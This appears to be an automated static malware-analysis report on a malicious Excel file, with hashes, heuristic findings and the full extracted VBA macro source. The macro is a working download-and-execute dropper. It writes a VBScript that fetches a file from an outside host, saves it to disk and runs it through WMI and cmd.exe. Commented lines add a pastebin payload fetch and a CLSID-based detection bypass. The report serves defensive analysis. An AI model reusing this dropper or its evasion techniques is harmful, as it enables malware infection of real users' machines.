Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 54688cc8c28b9420…

MALICIOUS

Office (OOXML)

24.2 KB Created: 2020-11-02 11:46:38 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-11-12
MD5: ebe17de63e9d2da1905e8591c025cc33 SHA-1: d7a9a09aae2bc814a1d5ae4edccfbaee7b1c6e39 SHA-256: 54688cc8c28b94203368bf9a6018557d96e4e410b33b9cc3ae87a665634fdf9e
242 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
     L10 = "   .write xHttp.responseBody"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     Set fs = CreateObject("Scripting.FileSystemObject")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
     L13 = "Set objWMIService = GetObject(""winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2"")"
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
     L17 = "errReturn = objProcess.Create(""cmd.exe /C C:\Users\user\Documents\sales.csv"", Null, objConfig, intProcessID)"
  • VBA instantiates a COM class by raw CLSID high OLE_VBA_GETOBJECT_CLSID_EVASION
    VBA uses GetObject("new:{CLSID}") to instantiate a COM class by raw CLSID rather than a CreateObject ProgID — an uncommon bypass of name-based macro detection.
    Matched line in script
     'Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.168.0.118/sales.csv Referenced by macro
    • https://pastebin.com/raw/tcmMXwMGReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3065 bytes
SHA-256: 0d3de5ce31d106d3aff8c22a72b8f7e965f31a82f22c830e056bd965c4a47b55
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Blad1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Modul1"
Sub Knapp2_Klicka()
 Set fs = CreateObject("Scripting.FileSystemObject")
 Set a = fs.CreateTextFile(Application.DefaultFilePath & "\test.vbs", True)
 
 Dim L1, L2, L3, L4, L5, L6, L7, L8, L9, L10, L11, L12, L13, L14, L15, L16, L17 As String
 'linel = "MsgBox( ""This is a test."")"
 
 L1 = "Set args = WScript.Arguments"
 L2 = "Url = ""http://192.168.0.118/sales.csv"""
 L3 = "Dim xHttp: Set xHttp = CreateObject(""Microsoft.XMLHTTP"")"
 L4 = "Dim bStrm: Set bStrm = CreateObject(""Adodb.Stream"")"
 L5 = "xHttp.Open ""GET"", Url, False"
 L6 = "xHttp.Send"
 L7 = "With bStrm"
 L8 = "   .Type = 1"
 L9 = "   .Open"
 L10 = "   .write xHttp.responseBody"
 L11 = "   .savetofile ""C:\Users\user\Documents\sales.csv"", 2"
 L12 = "End With"
 L13 = "Set objWMIService = GetObject(""winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2"")"
 L14 = "Set objStartup = objWMIService.Get(""Win32_ProcessStartup"")"
 L15 = "Set objConfig = objStartup.SpawnInstance_"
 L16 = "Set objProcess = GetObject(""winmgmts:root\cimv2:Win32_Process"")"
 L17 = "errReturn = objProcess.Create(""cmd.exe /C C:\Users\user\Documents\sales.csv"", Null, objConfig, intProcessID)"
 
 'L1 = "Set ie = CreateObject(""InternetExplorer.Application"")"
 'L2 = "ie.Navigate ""https://pastebin.com/raw/tcmMXwMG"""
 'L3 = "State = 0"
 'L4 = "Do Until State = 4"
 'L5 = "DoEvents"
 'L6 = "State = ie.readyState"
 'L7 = "Loop"
 'L8 = "Dim payload: payload = ie.Document.Body.innerHTML"
 
 a.writeline (L1)
 a.writeline (L2)
 a.writeline (L3)
 a.writeline (L4)
 a.writeline (L5)
 a.writeline (L6)
 a.writeline (L7)
 a.writeline (L8)
 a.writeline (L9)
 a.writeline (L10)
 a.writeline (L11)
 a.writeline (L12)
 a.writeline (L13)
 a.writeline (L14)
 a.writeline (L15)
 a.writeline (L16)
 a.writeline (L17)
 
 a.Close
 
 'Application.Wait (Now + TimeValue("00:00:05"))
 
 Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
 Set objStartup = objWMIService.Get("Win32_ProcessStartup")
 Set objConfig = objStartup.SpawnInstance_
 Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
 errReturn = objProcess.Create("cmd.exe /C C:\Users\user\Documents\test.vbs", Null, objConfig, intProcessID)
 
 'Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
 'obj.Document.Application.ShellExecute "calc", Null, "C:\\Windows\\System32", Null, 0
 
 
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 29696 bytes
SHA-256: c5910309c69b5a4fcc665575d1e054c6cae053570af0c14fa52f11585f347de1

Open this report in the interactive analyzer, or submit your own file for analysis.